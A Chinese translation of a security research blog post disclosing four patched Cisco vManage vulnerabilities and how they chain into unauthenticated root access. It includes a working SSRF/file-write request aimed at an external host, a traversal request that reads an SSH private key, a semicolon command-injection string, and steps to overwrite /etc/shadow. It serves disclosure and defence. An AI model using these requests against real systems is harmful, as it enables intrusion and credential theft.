Cisco vManage漏洞分析:未授权RCE到完全网络接管的技术链条

本文深入分析了Cisco vManage中四个关键漏洞的技术细节,包括SSRF+任意文件写入、未授权文件读取、命令注入和权限提升漏洞。通过漏洞链组合,攻击者可在未授权情况下获得root权限,完整技术链条涉及JBoss框架、SSH密钥泄露和BusyBox SUID提权机制。

SD-PWN — 第3部分 — Cisco vManage — 又一天,又一次网络接管

这是四部分系列中的第三篇文章,前两部分请参阅:

  • 第1部分 — Silver Peak Unity Orchestrator
  • 第2部分 — Citrix SD-WAN Center

本文继续我们的SD-WAN之旅。如果您尚未阅读前两部分,强烈建议您先查阅。简而言之,我们在SD-WAN市场的四个主流产品中发现了严重的未授权远程代码执行漏洞,本次我们将重点讨论Cisco Viptela vManage。

Cisco Viptela vManage

Cisco Viptela vManage是Cisco SD-WAN基础设施的核心,负责管理网络中的所有不同端点。由于SD-WAN设计的集中性特性,从安全角度来看,vManage成为单点故障。

通过串联4个不同的漏洞,我们能够在vManage机器上以root权限获得未授权RCE,该机器通常部署在企业的云环境中。攻击者无需任何先验配置知识即可利用这些漏洞。

如果您的组织使用Cisco的Viptela SD-WAN解决方案,请立即更新设备。最新固件已修复下文列出的所有问题。

技术细节

系统的初始攻击向量是运行在vManage机器443端口上的Web管理服务器。该Web服务器使用JBoss框架运行Java小程序。Web管理接口的未授权攻击面列在web.xml文件中,明确定义了所有可访问的URL路径。

SSRF + 任意文件写入 — CVE-2020–27128

在查看可能的入口点时,我们注意到了/dataservice入口点。我们不确定代码的确切意图,但推测不同端点通过dataservice URL共享数据和统计信息。

/dataservice/statistics/download/dr/filelist处理器负责下载系统中两台机器之间的统计信息。它接收相邻机器的IP地址和统计文件名,并下载供后续使用。

该处理器完全没有进行用户输入验证,导致存在多个漏洞。首先,任何IP都可以通过sourcevManageIp参数传递给处理器,允许进行SSRF攻击。其次,tokenfileType参数中的目录遍历允许攻击者将上述数据下载到任意目标路径,甚至可以覆盖现有文件。

服务器以vmanage用户身份运行,允许覆盖一些有趣的文件。此外,该处理器没有受到任何CSRF机制的保护。

1
2
3
4
5
6
7
POST /dataservice/statistics/download/dr/filelist HTTP/1.1
Host: 192.168.100.2:8443
Content-Length: 210
Origin: https://192.168.100.2:8443
Content-Type: application/json

{"queue":0, "fileType":"/../../../../../../../tmp/", "deviceIp":"", "sourcevManageIp":"1.2.3.4:12345", "fileList" : [{"file" : "droppeb.bin", "token":"../../../../../../../../../../../"}]}

这将导致服务器GET以下路径:

1
https://1.2.3.4:12345/dataservice/statistics/download/remoteprocessing/file/../../../../../../../dropped.bin

并将文件内容写入:

1
/opt/data/app-server/statistics/queue-0//../../../../../../../tmp/dropped.bin

尽管这是一个可能被利用来实现RCE的关键漏洞,但它不是最终攻击链的一部分。

未授权文件读取 + 目录遍历 — CVE-2020–26073

除了上述处理器外,我们还注意到另一个有趣的处理器 — /dataservice/disasterrecovery/download/token/

它接收一个参数 — 要读取的文件…再次强调,没有执行用户输入验证,导致存在易于利用的目录遍历漏洞。攻击者能够读取vManage用户可访问的任何文件。

1
2
GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fviptela%2F.ssh%2Fid_dsa HTTP/1.1
Host: 192.168.100.2:443

这将读取/etc/viptela/.ssh/id_dsa的内容。

SSH密钥

/etc/viptela/.ssh/id_dsa是用于SSH连接的秘密私钥,vmanage用户权限可读。它允许攻击者以vmanage-admin身份通过SSH连接。

vmanage-admin的登录二进制文件是viptela_cli,与admin相同,但vmanage-admin无法访问常规CLI控制台。这是在viptela_cli的main函数中决定的,该函数验证用户名。否则,用户可以通过SSH连接发送单个命令,这提供了一定的攻击面。

viptela_cli中的命令注入 — CVE-2020–27129

使用上述SSH密钥登录后,viptela_cli解析用户提供的命令。通过SSH连接发送的任何命令在执行前都会经过验证。

通常只允许以scp -f开头的命令。不幸的是,对命令的其余部分没有进行任何清理,允许攻击者使用分号注入另一个命令。

1
scp -f -h; touch /tmp/exploit;

上述命令将以vmanage-admin用户身份运行。

使用busybox.suid进行权限提升 — CVE-2020–26074

在寻找系统中提升权限的不同选项时,我们注意到了一个特殊的suid文件 — busybox.suid。文件系统中的SUID位会在每次执行时将二进制文件的权限提升为root。busybox.suid允许以root身份运行多个busybox小程序。

一个有趣的小程序是tftp,它允许使用tftp协议向系统上传和下载文件。没有对目标路径进行验证,使恶意用户能够以root身份用任何给定数据覆盖任何文件。这实现了对系统的完全控制。

一个基本示例是用新的root密码覆盖/etc/shadow文件,然后简单地运行su来获得root访问权限。

完整RCE链

  1. 使用目录遍历漏洞读取vmanage-admin的私有SSH密钥
  2. 通过SSH登录并注入命令以运行权限提升
  3. 使用busybox.suid的tftp小程序覆盖/etc/shadow
  4. 运行su命令获得root命令执行权限

请注意,这只是利用这些漏洞的一种方式。可能会发现其他可能更简单的攻击链。

时间线

Realmode Labs要感谢Cisco及其PSIRT在报告和修复漏洞过程中的出色沟通。

  • 2020-07-31 — Realmode Labs向Cisco PSIRT发送初始报告
  • 2020-07-31 — Cisco PSIRT确认报告,分配经理
  • 2020-11-02 — Cisco PSIRT分配CVE编号,发布修复软件
  • 2020-11-04 — 发布安全公告和CVE
  • 2020-11-23 — 本报告发布

请确保在LinkedIn上关注我们或通过contact@realmodelabs.com联系我们,以获取下一个SD-PWN漏洞帖子。

如果您有兴趣为您的产品进行安全审计,请联系我们。我们的团队由最高水平的研究人员组成,在发现最难以捉摸的漏洞方面有着良好的记录。

参考资料

漏洞1 — SSRF + 任意文件写入 — CVE-2020–27128 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-file-Y2JSRNRb

漏洞2 — 未授权文件读取 + 目录遍历 — CVE-2020–26073 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vman-traversal-hQh24tmk

漏洞3 — viptela_cli中的命令注入 — CVE-2020–27129 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-privilege-zPmMf73k

漏洞4 — 使用busybox.suid进行权限提升 — CVE-2020–26074 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-escalation-Jhqs5Skf

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计